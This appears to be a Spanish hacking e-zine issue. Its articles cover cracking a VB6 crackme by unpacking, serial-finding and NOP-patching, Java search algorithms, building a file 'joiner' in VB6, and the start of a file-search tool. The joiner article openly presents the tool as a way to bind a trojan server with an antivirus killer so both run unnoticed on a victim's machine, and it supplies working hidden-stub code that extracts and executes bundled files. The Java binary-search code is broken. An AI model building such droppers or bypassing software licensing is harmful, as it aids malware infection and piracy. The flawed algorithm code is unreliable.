Yo usare Procdump (una maravilla), aunque claro, hay muchos programas y plugins que permiten hacer esto.
Ejecutamos en crackme empacado, abrimos Procdump seleccionamos el crackme y lo dumpeamos.
Ahora abrimos el archivo dumpeado con la opcin PE Editor y cambiamos el EP del packer por el OEP que encontramos.
Tambin tenemos que quitar la proteccin anti- desensamblado
Cargamos el desempacado en Ollly y WUALA!:
No se sienten como en casa? Crackeo bsico de programas en VB6 CUH e-zine 4 edicin
Esta tcnica podemos tambin usarla contra otros packers distintos al upx.
Ahora veamos:
-La forma ms difcil, lenta y con ms enriquecimiento para los vagos (o simple y sencillamente la forma que utilizan los que ya han practicado lo suficiente) de encontrar el OEP:
Cargamos el crackme con PeiD y usamos el plugin llamado Generic OEP Finder, y WAO... El numero tan buscado ..xD
-Desempacando, forma #2: Cargamos el crackme en la UPX GUI y seleccionamos Ejecutar!, listo Archivo descomprimido, xD
-CRACKEANDO
--1ra forma (encontrado la clave para nuestro nombre por estudio):
Algo que tenemos que saber es que con estos tipos de protecciones (nombre-clave) seguramente el programa ara algo con nuestro nombre para generar una clave especfica para el nombre as que estudiemos un poco el funcionamiento del programa antes de empezar a poner BPs por todos lados.
Veamos que hace el programa cuando ponemos cualquier cosa:
Como lo esperbamos, nos lleva a la zona del chico malo. Antes de destripar el crackme tengamos en la cabeza 2 cosas: usemos siempre que estemos estudiando un programa el mismo nombre y clave, as es mas fcil de recordar y la otra es el cartelito del chico malo Intenta otra cosa amigo!.
Ahora si, destripemos el crackme:
Abrimos las strings references y nos topamos con nuestro cartelito Intenta otra cosa amigo!
Ahora saltamos all a ver algo de cdigo. Ahora fjense en la instruccin que esta 3 instrucciones antes de la string [JMP SHORT dumped.004021CF], deduciendo, la siguiente instruccin ser una cada: PUSH EAX PUSH ECX JMP SHORT dumped.004021CF LEA EDX,DWORD PTR SS:[EBP-80] LEA ECX,DWORD PTR SS:[EBP-40]
Ahora vemos que referencias tiene en el cdigo (Ctrl+R) y efectivamente cayo desde un condicional.
Crackeo bsico de programas en VB6 CUH e-zine 4 edicin
Vallamos al salto a ver algo de cdigo:
Viendo el code nos damos cuenta que si el salto no se da caemos en el rea del chico bueno, as deduciendo, mas arriba debe haber algn tipo de comparacin.
Viendo detenidamente vemos una concatenacin, esto puede ser importante as que subimos hasta la instruccin despus del JMP ms cercano, sea, nos posicionamos en 401FDC, Ctrl+R y vemos de donde cae, y ya me canse de vagar por el code, ponemos un BP en 401FDC y ejecutamos.
As listos con el BP, corremos el crackme (F9), ponemos los datos falsos:
Pulsamos COMPROBAR y caemos en el BP:
Bajamos lentamente a ver algo que nos interese. Fjense en los registro, podemos ver el nombre junto a la cadena soy :
Bajando un poco, llegamos al cartel del chico malo, y el programa no hizo ninguna otra operacin con cadenas. Ahora mantengamos en mente la cadena resultante soy shadow:
Probamos la cadena soy shadow y:
Crackme resuelto CLAVE=soy + nombre
2da forma (encontrando la clave a punta de breakpoints)
Muchos recomiendan empezar con esta opcin, por lgica la recomiendo tambin, pero personalmente me gusta primero estudiar el programa y tener un BP con mas probabilidades de ser el que busco que varios que tienen probabilidades menores.
Destripamos el crackme, vemos las apis:
Crackeo bsico de programas en VB6 CUH e-zine 4 edicin
Ponemos un breakpoint en cada llamada a StrCmp:
Ponemos a correr (F9) probamos con el nombre y clave falsos y caemos en:
Y en los registros hay:
Bajamos un poco a ver que pasa con el nombre y vemos que si no se puso nada en el nombre va a la zona mala sino es as salta a otro lado.
F9 y no rompe en el otro StrCmp:
Esto quiere decir que la comparacin de la clave falsa con la verdadera se hace sin StrCmp, as que probamos poniendo BPs en cada llamada StrCat:
Y...:
Ejecutamos (F9), ponemos los datos falsos, probamos y caemos en:
Y en los registros:
Bajamos una instruccin (F7/F8) y la clave real:
Mas abajo en 40206B la clave falsa se va al stack:
Stack:
Seguimos bajando, se realizan algunas operaciones con las cadenas y llegamos al salto condicional:
As que probamos soy shadow y:
Crackme solucionado. Crackeo bsico de programas en VB6 CUH e-zine 4 edicin
3ra forma (parchear):
Cuando me refiero a parchear hablo de reemplazar una instruccin, serie de instrucciones, un byte o un bit dependiendo lo que se requiera (pe: un bit para habilitar un botn deshabilitado, una instruccin para detener un conteo, etc.). Esto quiere decir que como solucin no tendremos una formula, como en la 1ra forma de crackear que vimos sino que tendremos un programa sin proteccin. Cabe destacar que esta debera ser nuestra ultima opcin al crackear un programa, esta puede se la forma mas sencilla de crackear un programa pero a medida que pasa el tiempo se van presentando problemas y vemos que crackear no solo el parchar, parchar, parchar. Otra cosa que tenemos que tener en mente al parchear es que esto no implica solo buscar el salto al rea del chico malo y reemplazarla por instrucciones basura (INC-DEC, NOP, MOV-MOV, etc) sino que tambin implica lo que conlleva ese salto, pe. que pasara si tienes que registrar un programa, encuentras el cartel, parchas el salto al cartel, creas el crack, registras, pero cuando vuelves a abrir sale que aun no estas registrado? Simple y sencillamente cambiaste el salto pero no la rutina que te registra, es decir, en realidad no te registras, as que literalmente lo nico que haces es hacer que le programa te mienta. Esa no es la idea. Pero bueno tenemos que tener una ltima opcin.
Para parchear necesitamos primero que todo una instruccin objetivo la cual cambiaremos. Nuestra proteccin es del tipo comparacin-salto condicional, esto quiere decir que precisamente eso es lo que vamos a buscar una comparacin seguida de un salto condicional. En el estudio que hicimos para encontrar la clave del crackme, nos dimos cuenta que en 4020DA hay un salto al rea del chico malo y que si ese salto no se da, entramos al rea del chico bueno:
As que tomando en cuenta esa informacin podemos deducir que si nopeamos la instruccin (reemplazarla por un NOP [mas bien serian 6 NOPs ya que cada NOP es un byte (90) y la instruccin contiene 6 bytes (0F84AE000000)]) se omitir el salto condicional y siempre presentara el cartel del chico bueno. As que rellenamos con NOPs haciendo doble-click en el salto, tenemos que seleccionar Fill with NOPs:
Y nos queda as:
Ahora probamos el crackme nopeado con el nombre y clave inventados (shadow | 363636) y:
Bueno solo resta copiar los cambios al ejecutable y Listo! Crackme, crackeado:
El crack lo pudimos haber hecho de muchas formas, yo eleg (segn mi forma de ver) buscar la estructura:
Tambin pudimos haber puesto un salto directo en 40218E (bad guy zone ini) a 4020E0 (nice guy zone ini) y tenamos el mismo resultado.
Crackeo bsico de programas en VB6 CUH e-zine 4 edicin
Como ya lo dije, tenemos varias opciones al parchear (dependiendo del tipo de proteccin y esto no es siempre)
-Parcheando la memoria:
Ahora os enseare como parchear un programa sin el Ollly, usaremos el PUPE (maravilla de programa)
Al abrir el PUPE que el programa nos muestra los procesos cargados en la memoria:
Seleccionamos el proceso que vamos a parchear (dumped.exe), click derecho, patch:
Nos sale una ventanita seleccionamos en # de bytes a parchar (recordemos que el salto contena 6 bytes), ponemos la direccin del salto a parchar (4020DA), clickamos Search y vemos el cdigo del salto (0F84AE000000), en el cuadro de texto de To change by: pondremos las instrucciones que reemplazaran el salto (90 [NOP]). Algo que tenemos que recordar es que la cantidad de bytes a cambiar debe ser la misma de la instruccin (obviamente).
Pulsamos Patching y memoria parchada:
Probamos el crackme desempacado sin crackear (sea, aparte de desempacar, no hemos hecho ninguna modificacin) y milagrosamente vemos:
Finalmente veamos algunos breakpoints que nos pueden servir para crackear un programa hecho en VB: Comparacin de cadenas: __vbaStrCmp __vbaStrComp Comparacin de variables: __vbavartsteq Concatenation: __vbaStrCat Estructuras FOR: __vbavarfornext Cajas de mensajes: __rtcMsgBox
Bueno, hasta aqu llegamos, espero que les sea de ayuda. Saludos!
The Shadow|Shadow shadow@el-hacker.org Busqueda Secuencial CUH e-zine 4 edicin
A continuacin les voy a hablar de los diferentes tipos de bsquedas que existen les voy a dejar explicado un poco el concepto de cada una y el cdigo en Java de las mismas. Que un tipo de bsqueda sea superior a otra ya eso queda a criterio de lo que se quiera hacer, lo que si es cierto es que la bsqueda de tipo binaria es mas rpida porque hace menos comparaciones y por ende es mas rpida.
Ahora les voy a dejar la explicacin:
Busqueda Secuencial
En este ocasin voy a explicar los algoritmos de bsquedas secuenciales, este tipo de algoritmos nos facilita la forma de hacer consultas ya sea en una tabla de una base de datos como en un vector o matriz de datos (que al final viene siendo lo mismo que en una base de datos; xD ).
Este tipo de bsqueda tiene mas puntos en contra que a favor porque en un vector de N posiciones este algoritmo va a buscar posicin a posicin hasta dar con el dato solicitado y en el caso de que no exista pues tambin va a recorrer todo el arreglo.
Lo bueno de este tipo de bsqueda es que es muy sencillo de implementar y no se tiene que ordenar el vector si tomamos el ejemplo anterior todava como valido.
Bueno mucha explicacin vamos a la practica...
Si tenemos un vector ya definido con los siguientes datos:
["aarona","aashta","abelarda","abelia","abigail","abril"] , todos de tipo String y queremos saber si ya existe el nombre : "Abigail" en nuestro vector entonces tenemos que hacer lo siguiente:
public class BSecuencial {
public static void main(String[] args)throws IOException {
BufferedReader entrada = new BufferedReader (new InputStreamReader(System.in)); int encontrados=0; String [] VectorNombres = {"Aarona","Aashta","Abelarda","Abelia","Abigail" , "Abril"};
System.out.print("Digite el nombre que desea buscar: "); String nombre = entrada.readLine(); // entrada de dato a buscar
if(encontrados == 1 ){ System.out.println("Fin de busqueda, encontrado "+encontrados+" elemento igual"); }else{ System.out.println("Fin de busqueda, encontrados "+encontrados+" elementos iguales"); }
}
}
Con este cdigo ya estn listos para usar las bsquedas secuenciales y utilizarlas para casos mas complejos.
Busqueda binaria o bsqueda dicotmica Es un algoritmo de bsqueda que para realizarla, es necesario contar con un arreglo o vector ordenado. Luego tomamos un elemento central, normalmente el elemento que se encuentra a la mitad del arreglo, y lo comparamos con el elemento buscado. Si el elemento buscado es menor, tomamos el intervalo que va desde el elemento central al principio, en caso contrario, tomamos el intervalo que va desde el elemento central hasta el final del intervalo. Procedemos de esta manera con intervalos cada vez menores hasta que lleguemos a un intervalo indivisible, en cuyo caso el elemento no est en el vector, o el elemento central sea nuestro elemento.
Busqueda Secuencial CUH e-zine 4 edicin
Yo esta bsqueda la voy a hacer de manera iterativa pero se puede utilizar recursion tambin:
public static void Buscar(int [] vect,int valor){
int pivote = vect.length/2; for (int i=0; i < vect.length;i++){ System.out.println(vect[i]); }
if (valor < pivote){
for (int x=0;x < pivote;++x){
if (valor == pivote){ System.out.println("Encontrado posicion "+pivote); break; }else if (valor == vect[x]){ System.out.println("Encontrado posicion "+x); break; }
} }else if(valor < pivote){
for (int x=pivote;x < vect.length;++x){ if (valor == pivote){ System.out.println("Encontrado posicion "+pivote); break; }else if (valor == vect[x]){ System.out.println("Encontrado posicion "+x); break; }
}
}else{ System.out.println("Elemento no encontrado >:("); } } Saludos...........8) [p3ll3]
Creando un joiner CUH e-zine 4 edicin
Comenzare explicando que es lo que haremos, una explicacin terica como para que vayan entendiendo de lo que hablo, y luego pasaremos a lo practico. Les dar mi definicin de Joiner, aunque no creo que haya alguna contradiccin ya que la misma palabra lo dice todo. Joiner, traducido al espaol significa Juntador que vendra de la palabra Join que traducido es Juntar. La funcin bsica de un joiner es juntar ficheros, y dejarlos en un solo fichero final (por lo general ejecutable). Es como una especie de compresor, como lo es WinRAR, pero con la diferencia que el joiner esta compuesto por un Stub (Ya veremos lo que es) que har que todos los ficheros unidos se ejecuten (en algunos casos el programador le da la posibilidad al usuario de ejecutar algunos ficheros y otros no). Bueno, resumamos esto en: Un joiner es un programa encargado de juntar 2 o ms ficheros de cualquier tipo, dejando un solo fichero final. Este tipo de aplicaciones se utilizan mucho (en el mundo del underground informtico) para juntar (por ejemplo) el servidor de un troyano y un KillAV (Matador de antivirus), haciendo que al ejecutar el fichero que los contiene se ejecuten los dos, matando el antivirus de la victima y permitiendo la absoluta ejecucin del servidor. Pacemos a lo interesante del articulo, veremos como trabaja un joiner, o mejor dicho, como trabajara nuestro joiner. Debo aclarar que la interfaz grafica pasa por cuenta del programador, como as tambin las funciones y las opciones que puede presentar el programa. Lo que conforma el Joiner en si, se podra decir que son dos aplicaciones. Una ser la principal, lo que el usuario ve y con lo que interacta. La otra ser el Stub, pero Qu es esto? El Stub ser la cabecera (por as decirlo) del ejecutable que se generara, luego irn los otros ficheros. Entonces la ejecucin del fichero generado seria algo as:
STUB | FICHERO1 | FICHERO2 | FICHERO3
El Stub tendr la orden de separarse, es decir en dividirse en tantas partes como ficheros halla, en este caso serian en 4 partes, donde a la primera no se le da importancia. Las otras tres sern los ficheros. Entonces una vez que se halla dividido el fichero, se copiara el contenido de las partes (menos la primera) en ficheros individuales (que los creara el stub) y sern ejecutados. Se que no quedo bien explicado pero luego lo irn entendiendo mejor. Bueno, dividiremos el articulo en dos partes, la primera ser la programacin del Stub y la segunda la programacin del Joiner Veamos:
Programando el Stub: Para esto vamos a necesitar poder ejecutar cualquier tipo de fichero, para ello podramos usar la sentencia Shell, pero con esto no podremos ejecutar ficheros txt, claro que podemos armar toda una historia, leyendo el registro, obteniendo su programa por defecto y ejecutarlo con el, pero seria mas sencillo utilizar la API ShellExecute ;) As que ya sabemos como ejecutar los ficheros que sern generados, es solo declarar la API y pasarle como parmetro el fichero. Pero Qu ficheros ejecutara? Pos los que creara el stub cuando se ejecute Y como los creara? Es muy facil, pero ya lo veremos mas adelante. Para la creacin de ficheros debemos conocer las formas de crear, abrir para escribir/leer/escribir y leer un fichero de forma comn y binaria. Ahora solo utilizaremos la forma de apertura de lectura y lectura- escritura en modo binario. Si no sabes como hacer esto, pgale un vistazo a esto, ya que no lo explicare: http://support.microsoft.com/kb/151335/es
Bueno, supondr que de ahora en mas ya saben manejar los archivos de modo binario, as que sigamos Como dije antes, debemos dividir el fichero en tantas partes como ficheros halla (mas el stub). Para hacer esto, debemos saber que cuando se genero el fichero se marco el final de cada fichero con una marca especial, supongamos que dicha marca fue |MARCA|. Entonces el fichero en modo de cadena se vera as: Stub|MARCA|Fciehro1|MARCA|Fichero2|MARCA|F ichero3 As que, sabemos que debemos dividir el fichero donde dice |MARCA|. Para esto Tenemos la funcin Split de VB que nos permite separar una cadena indicndole una cadena en donde debe separar. Split nos devolver un array con un ndice menor (0) y un ndice mayor (igual a la cantidad de divisiones que se hizo); en nuestro caso tendramos un array que ira de 0 a 3, donde lo nico que nos interesa son 1,2,3 ya que 0 ser el Stub. As que tendremos el contenido de lo ficheros dentro de un array, ahora debemos ubicar estos datos dentro de sus respectivos ficheros. Esta es una parte media Creando un joiner CUH e-zine 4 edicin
engorrosa y que se puede hacer de distintos mtodos, pero la ms fcil es la que explicare: Para saber que tipo de fichero crear, cual ser su nombre, etc. debemos incluir estos datos en el stub, as que debemos hacer dos tipo de divisiones. Una ser para separar los ficheros y otra para separar los datos de cada fichero. Les dar un ejemplo para que lo entiendan mejor: Tenemos 2 ficheros:
FICHERO 1: NOMBRE: Mi imagen.jpg CONTENIDO: JFIF ` `
FICHERO 2: NOMBRE: Lecturas.txt CONTENIDO: E QE V~&t
Como pueden ver estamos hablando de su contenido como bits y no como su contenido dentro del fichero, es decir, que no vamos a tomar lo que dice dentro el fichero txt sino que vamos a tomar sus bits (en el caso de un fichero de texto). A lo que voy, es que trabajaremos a todos los ficheros de forma binaria. Estos ficheros los debemos separar por una marca, pero a su vez tambin debemos separar por otra marca sus datos. Primero vamos a hacer lo ltimo, separaremos el contenido de cada archivo, para ello podra ser algo as:
FICHERO 1: Mi imagen.jpg|M1| JFIF ` ` FICHERO 2: Lecturas.txt|M1| QE V~&t
As tenemos separado los datos de los archivos por una marca, que en nuestro ejemplo es |M1|. Ahora juntaremos a FICHERO 1 y a FICHERO 2 en uno solo, separndolos por otra marca, que ser |M2|:
As nos quedara al final, con el Stub primero, luego el FICHERO 1 con sus datos separados por la marca |M1| y luego el fichero 2 cuyos datos estn divididos de la misma forma Espero que hallan entendido mas o menos como viene la mano, pero seguro que cuando empecemos a programar se darn cuenta y tendrn una idea mas lucida de todo esto. As que vamos a programar!!!
El orden para programar el Stub ser este:
1. INTRODUCIR LA API ShellExecute 2. COPIAR EL FICHERO PARA PODER ABRIRLO Y LEERLO 3. LEER EL FICHERO Y OBTENER TODO SU CONTENIDO 4. SEPARAR EL CONTENIDO DEL FICHERO A TRAVEZ DE LA MARCA QUE DIVIDE A CADA ARCHIVO JUNTADO. 5. DE CADA ARCHIVO OBTENIDO, SEPARAR SUS DATOS 6. REHACER EL FICHERO DE ACUERDO A LOS DATOS OBTENIDOS. 7. EJECUTAR LOS FICHEROS CREADOS.
En fin, comencemos, abrimos el VB, en mi caos ser la versin 6.0, creamos un nuevo proyecto y acomodamos el formulario. Esta claro que no se debe visualizar la ventana del Stub, es decir que va a ser invisible. As que acomodemos su propiedad Visible y la ponemos en False. Con eso ya tenemos un cambio, le damos a guardar para salvar le proyecto y seguimos. Ahora vamos a declarar la API ShellExecute, no es necesario crear un modulo, aunque si quieres tener las funciones bien ordenaditas, te vendra bien. Pero yo trabajare todo sobre le form, ya que no necesitamos compartir informacin con otra parte del proyecto. As que vamos a la parte de cdigo de nuestro proyecto, y nos situamos en la parte superior de l. All declaramos la API de la siguiente manera:
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Como vern, la declaracin es privada, eso es porque la eh introducido en el formulario y no deseo compartirla con otras partes del proyecto. Asta aqu todo bien, ya tenemos como ejecutar los ficheros. Ahora sigamos Como mencione antes debemos leer el fichero ejecutado, es decir, debemos leernos a nosotros mismos, pero para esto primero debemos copiarnos en algn lado ya que sino Windows no nos dejara. El lugar mas elegido (y mas acorde) para copiarnos seria el directorio Temp (Temporal). Pero para esto antes debemos obtenerlo usando (como mtodo ms sencillo) el objeto FileSystemObject. Y sinceramente les digo que no tengo ganas de alargar mas el articulo con esto ya que presumo que ya saben como hacerlo, as que esto correr por cuenta suya, yo lo copiare directamente en el mismo directorio donde se esta ejecutando pero con la abreviatura Tmp antes y con extensin .dat. Les recuerdo que todo esto se hace en el momento en que se ejecuta el fichero, as que debemos trabajar sobre el evento Form_Load. Pero para que no nos quede desordenado, solo aadiremos una llamada a una funcin que har la tarea, y as tambin haremos con las otras funciones, por esto no se preocupen, ya lo entendern cuando vayamos alargando el code Para copiarnos no har una funcin aparte, ya que seria medio intil poner solo la funcin de copiar dentro de una funcin, seria lo mismo ponerlo directamente, pero cada cual lo hace como quiera yo lo pondr en el Form_Load:
Private Sub Form_Load() FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\tmp" & App.EXEName & ".dat" End Sub Creando un joiner CUH e-zine 4 edicin
No veo la necesidad de explicar el cdigo, ya lo deberan entender Bueno, cada vez nos adentramos ms a lo difcil, ahora abriremos de forma binaria la copia y obtendremos su contenido, el cual almacenaremos en una variable, veamos cdigo, y luego explicacin: Agregaremos una llamada a la funcin en el evento Load del Formulario (lo programado anteriormente, es decir debajo de la funcin FileCopy, y nos quedara as:
Private Sub Form_Load() FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\tmp" & App.EXEName & ".dat" Call LeerFichero End Sub
Luego la funcion:
Private Sub LeerFichero() Dim TodoElContenido As String Open App.Path & "\tmp" & App.EXEName & ".dat" For Binary Access Read As #1 Get #1, , TodoElContenido Close #1 End Sub
Explicare la funcin para que entiendan bien: Primero declaramos la variable TodoElContenido como cadena, donde se almacenara luego el contenido del fichero. Despus abrimos de forma binaria para leer la copia hecha anteriormente. Luego de esto, utilizamos Get para obtener el contenido del fichero y almacenarlo en la variable. En la cuarta linea esta Close que cierra el fichero abierto y listo.
Ahora tenemos todo en la variable TodoElContenido, as que podemos proceder a separar esto y obtener cada fichero, para esto ya dije que usaramos Split, lo que haremos ser llamar desde la funcin LeerFichero a otra funcin, la llamaremos ObtenerArchivos y en esta ultima funcin nos dedicaremos a obtener cada unos de los archivos incluidos en el fichero .dat (la copia nuestra). Pero a la funcin, ms bien al Sub que crearemos debemos pasarle como parmetro la cadena que tiene que separar, es decir el contenido de la variable TodoElContenido. Veamos, agregamos la llamada en la funcin y nos queda as:
Private Sub LeerFichero() Dim TodoElContenido As String Open App.Path & "\tmp" & App.EXEName & ".dat" For Binary Access Read As #1 Get #1, , TodoElContenido Close #1 Call ObtenerArchivos(TodoElContenido) End Sub
Procedemos a crear el sub:
Private Sub ObtenerArchivos(CadenaADividir As String) Dim Archivo() As String Archivo = Split(CadenaADividir, "|M1|") End Sub
Es importante tener en cuenta que la marca que se va a utilizar debe ser la misma que se pondr en el joiner cuando se junten los archivos. En mi caso use la marca |M1|. Como ven en el cdigo, declare la variable Archivo como un array, con los parntesis, pero no le di ningn valor. Esto es porque no sabemos cuantos ficheros pueden ir juntados y Split se encargara de darle un valor mximo, aunque si ustedes le quieren poner un mximo de ficheros a juntar lo pueden hacer Luego la utilizacin de Split, simplemente igualamos la variable Archivo a la sintaxis de Split que es: Split(CADENA, MARCA). Ya tenemos los archivos, ahora debemos obtener su contenido. Para hacer esto debemos volver a utilizar la funcion Split, y lo que haremos sera facil. Pero antes de hacerlo les explicare sobre LBound y UBound, estas dos nos sirven para obtener el valor mnimo y mximo, respectivamente, de un array. Es decir que con LBound podemos obtener el ndice menor del array y con UBound el mximo. Estas dos las utilizaremos para recorrer el array y poder listar uno por uno los Archivos obtenidos. Si no entendieron ya se darn cuenta (siempre digo lo mismo, espero que lo hagan). Usaremos un bucle para recorrer el array, y obtener en la variable del bucle, es decir en i para nuestro caso el ndice actual del array (ya lo vern). As que vamos a hacer otra declaracin, de otro array que ser llamada Datos y ser de tipo cadena:
Dim Datos() As String
Esto lo ponemos debajo de la declaracin de la variable Archivo.
Private Sub ObtenerArchivos(CadenaADividir As String) Dim Archivo() As String Dim Datos() As String Archivo = Split(CadenaADividir, "|M1|")
For i = LBound(Archivo) To UBound(Archivo) Datos = Split(Archivo(i), "|M2|") Next i End Sub
Es sencillo, hacemos un bucle desde el ndice menor del array hasta el mayor. En i vamos a tener el ndice actual, as que luego usamos Split para separar los datos de la variable Archivo(i) es decir la variable Archivo con ndice igual a i, lo que seria, para el primer incide seria Archivo(0), para el segundo Archivo(1) y todo as Los datos los separaremos por la marca |M2|. Aqu deben acordarse que dato pusieron primero, si el nombre o el contenido del archivo, ya que vamos a tener en la variable datos 2 ndices para un ndice de la variable Archivo. Es decir, que el contenido de Datos(0) y Datos(1) corresponden a Archivo(0). Creando un joiner CUH e-zine 4 edicin
Quizs esto nos complique un poco, pero ya veremos una forma de que no Veamos, hasta ahora hemos obtenido cada archivo que se haba juntado con nuestro joiner (recuerda que empezamos de lo ultimo, ya que estamos hablando como si los archivos estn ya juntados) ahora los debemos armar, para saber que extensin lleva y que nombre ponerle debemos obtener el contenido de la variable Datos correspondiente. Por ejemplo, para el primer archivo, el nombre se ubica en Datos(0) As que creamos una funcin que arme los archivos segn sus datos, Cmo hacemos esto? Veraz, si te pones a pensar un poco, si, es medio difcil eso de dos valores de Datos para uno de Archivo (Datos y Archivo son las variables, recuerda) Pero hay una formulita que nos permitir saber que ndices de la variable datos le corresponde al ndice actual de la variable Archivo, esta formulita se podra representar as: Nombre = N + N y Contenido = N + N + 1. Pasemos a lo que es cdigo, vamos a agregar otro bucle al Sub ObtenerArchivos similar al que hicimos anteriormente pero para la variable Archivo. Vamos a crear otro Sub que va a ser el que armara los archivos, a esta rutina vamos a pasarle como parmetros el nombre del archivo que se quiere crear y su contenido, seria algo as:
Private Sub ArmarArchivo(Nombre As String, Contenido As String)
End Sub
Luego vamos a agregar un bucle que ira desde el ndice menor del array Archivo hasta su ndice mayor. Al igual que como lo hicimos antes, ahora en la variable del bucle (en mi ejemplo ser j) tendremos el ndice actual de la variable Archivo y con las formulas anteriores obtendremos sus datos correspondientes sobre la variable Datos. Es medio confuso, pero seguro que si lo ven bue, ya saben ^^
For j = LBound(Archivo) To UBound(Archivo) Call ArmarArchivo(Datos(j + j), Datos(j + j + 1)) Next j
As como vez, llamamos al Sub ArmarArchivo y usamos las formulas para obtener el ndice correspondiente del array Datos, los cuales son pasados como parmetros. As que nos quedara as:
Private Sub ObtenerArchivos(CadenaADividir As String) Dim Archivo() As String Dim Datos() As String Archivo = Split(CadenaADividir, "|M1|")
For i = LBound(Archivo) To UBound(Archivo) Datos = Split(Archivo(i), "|M2|") Next i
For j = LBound(Archivo) To UBound(Archivo) Call ArmarArchivo(Datos(j + j), Datos(j + j + 1)) Next j End Sub
Ahora vamos a hacer el Sub ArmarArchivo, lo que haremos ser abrir de forma binaria (en realidad crear) un archivo cuyo nombre ser el que se paso por los parmetros y la ubicacin ser el directorio actual de trabajo (esto, como dije antes, lo deben arreglar ustedes a su manera). Miren:
Private Sub ArmarArchivo(Nombre As String, Contenido As String) Open App.Path & "\" & Nombre For Binary Access Write As #1 Put #1, , Contenido Close #1 End Sub
As de simple es, con eso ya estaramos, ahora solo nos falta ejecutar los archivos, es simple, le vamos a agregar al sub ArmarArchivo una llamada a la API ShellExecute que se encargara de ejecutar el fichero con su programa correspondiente: El cdigo les debe quedar as:
Private Sub ArmarArchivo(Nombre As String, Contenido As String) Open App.Path & "\" & Nombre For Binary Access Write As #1 Put #1, , Contenido Close #1 Call ShellExecute(Me.hwnd, "Open", App.Path & "\" & Nombre, "", "", 1) End Sub
Y listo! Hemos terminado de programar el Stub, ahora debemos proceder con el joiner
Programando el Joiner: Bueno, aqu no voy a poner el cdigo armado, sino que voy a explicar las funciones y voy a ensear como hacer las cosas, pero no voy a decir que controles usar, todo esto correr por cuenta suya La primera funcin que crearemos ser la que nos permitir leer los archivos y obtener su contenido.
Empecemos:
Private Sub LeerArchivo(File As String) Dim Contenido As String Dim Todo As String Dim Datos As String For i = 0 To List1.ListCount Open List1.List(i) For Binary Access Read As #1 Get #1, , Contenido Close #1 Datos = Contenido & "|M1|" & Right(List1.List(i), InStrRev(List1.List(i), "\")) Todo = Todo & "|M2|" & Datos Next End Sub
Bueno, lo que hacemos aqu es hacer un bucle por cada elemento de la lista (cada elemento es un archivo). En Creando un joiner CUH e-zine 4 edicin
este caso es porque yo eh elegido almacenar los archivos que escogi el usuario en una lista, me resulto mas fcil que nada. As que vamos de uno en uno por lo archivos, y los abrimos de forma binaria, los leemos y almacenamos su contenido en la variable Contenido. Luego la variable Datos va a tener el contenido del archivo y el nombre del archivo (el cual obtenemos manejando la cadena que contiene la ruta completa del fichero) separados por la marca |M1|. Luego agregamos a la variable Todo la variable Datos separando lo que haba antes y lo que agregamos nuevo por una marca: |M2|. As que cuando ya se hallan terminado los archivo, nos quedara todo en la variable Todo, y solo nos resta agregrselo al Stub. Ahora debemos ubicar el Stub, por lo general se encuentra en el mismo directorio que el joiner pero con extensin .dll, todo depende del programador. Yo lo har como si el Stub se ubicara en el mismo directorio que el joiner, con el nombre Stub y la extensin .exe As que lo buscamos y lo copiamos a otro directorio.
Bueno, como ven he puesto como destino Text1.Text esto es porque yo puse un TextBox donde el usuario indica donde quiere que se cree el archivo final. Ahora debemos abrir el Stub y aadirle lo que tenemos en la variable Todo
Open Text1.Text For Binary Access Write As #2 Seek #1, EOF(1) Put #1, , Todo Close #1
Bien, lo que hacemos aqu es abrir el Stub (su copia) de modo binaria para escritura. Usamos Seek para situarnos al final del archivo (EOF(1)) con eof indicamos que queremos el final del archivo, y el 1 representa al archivo Luego usamos Put para poner lo que haba en la variable Todo y por ultimo cerramos con Close
As el resultado final de esto es un fichero que seria algo as:
STUB |M2| NOMBRE ---> FICHERO 1 |M1| CONTENIDO --->FICHERO 1 |M2| NOMBRE --->FICHERO 2 |M1| CONTENIDO -->FICHERO 2
Luego cuando este fichero es ejecutado, lo primero que se ejecuta es el Stub, que divide el archivo en tantas partes como archivos de hallan unido:
STUB
NOMBRE-->FICHERO 1 |M1| CONTENIDO-->FICHERO 1
NOMBRE -->FICHERO 2 |M1| CONTENIDO--->FICHERO 2
Despus se procede a crear un archivo que corresponder a los datos obtenidos luego de separar por la marca |M1| y se ejecutaran dichos archivos Les dir algunas cosas que pueden agregarle, primero un lugar donde copiar los archivos, esto suele ponerse SIEMPRE. Le da la posibilidad al usuario de poder copiar los archivos en el directorio que el quiera. Tambin el poder ejecutar, pero no copiar los archivos. La opcin de cambiarle el icono al fichero final suele ser muy til tambin. Les dejo un cordial saludo y espero que les halla gustado.
Crear un buscador de archivos en VB CUH e-zine 4 edicion
Este es un artculo creado exclusivamente para el CUH E-Zine y se encuentra bajo licencia Creative Commons (http://creativecommons.org/licenses/by/3.0).
En el presente artculo me dedicar a explicarles como crear un buscador de archivos. La idea es que la aplicacin busque un fichero que contenga en su nombre la cadena que el usuario este buscando. La bsqueda del fichero partir de un directorio elegido por el usuario. El proyecto necesitara de algunos controles para que el usuario pueda interactuar con l. Por mi parte yo he agregado los siguientes controles (todos con sus nombres por defecto):
3 CommandButtons 2 TextBoxs 2 Frames 1 ListBox
La aplicacin en mi caso carece de diseo, y no le aplicare ninguno, el aspecto correr por cuenta de ustedes. En mi caso, los archivos encontrados solo se listaran en un ListBox simple. El aspecto de mi proyecto es el siguiente:
Bueno, acomoden los controles como ms les guste.
Por mi parte le he dado a la propiedad Enabled del botn Abrir un valor False. Y al Text2, ubicado en el frame con caption Comenzar en: tiene en su propiedad Locked el valor True. Vamos a empezar programando desde el principio, y comenzaremos por un dialogo en el cual el usuario elegir el directorio donde comenzar a buscar. Para ello usaremos las APIs: SHBrowseForFolder y SHGetPathFromIDList. Las declararemos en la parte superior del formulario de la siguiente manera:
Private Type BrowseInfo hWndOwner As Long pidlRoot As Long sDisplayName As String sTitle As String ulFlags As Long lpfn As Long lParam As Long iImage As Long End Type Private Declare Function SHBrowseForFolder Lib "Shell32.dll" (bBrowse As BrowseInfo) As Long Private Declare Function SHGetPathFromIDList Lib "Shell32.dll" (ByVal lItem As Long, ByVal sDir As String) As Long
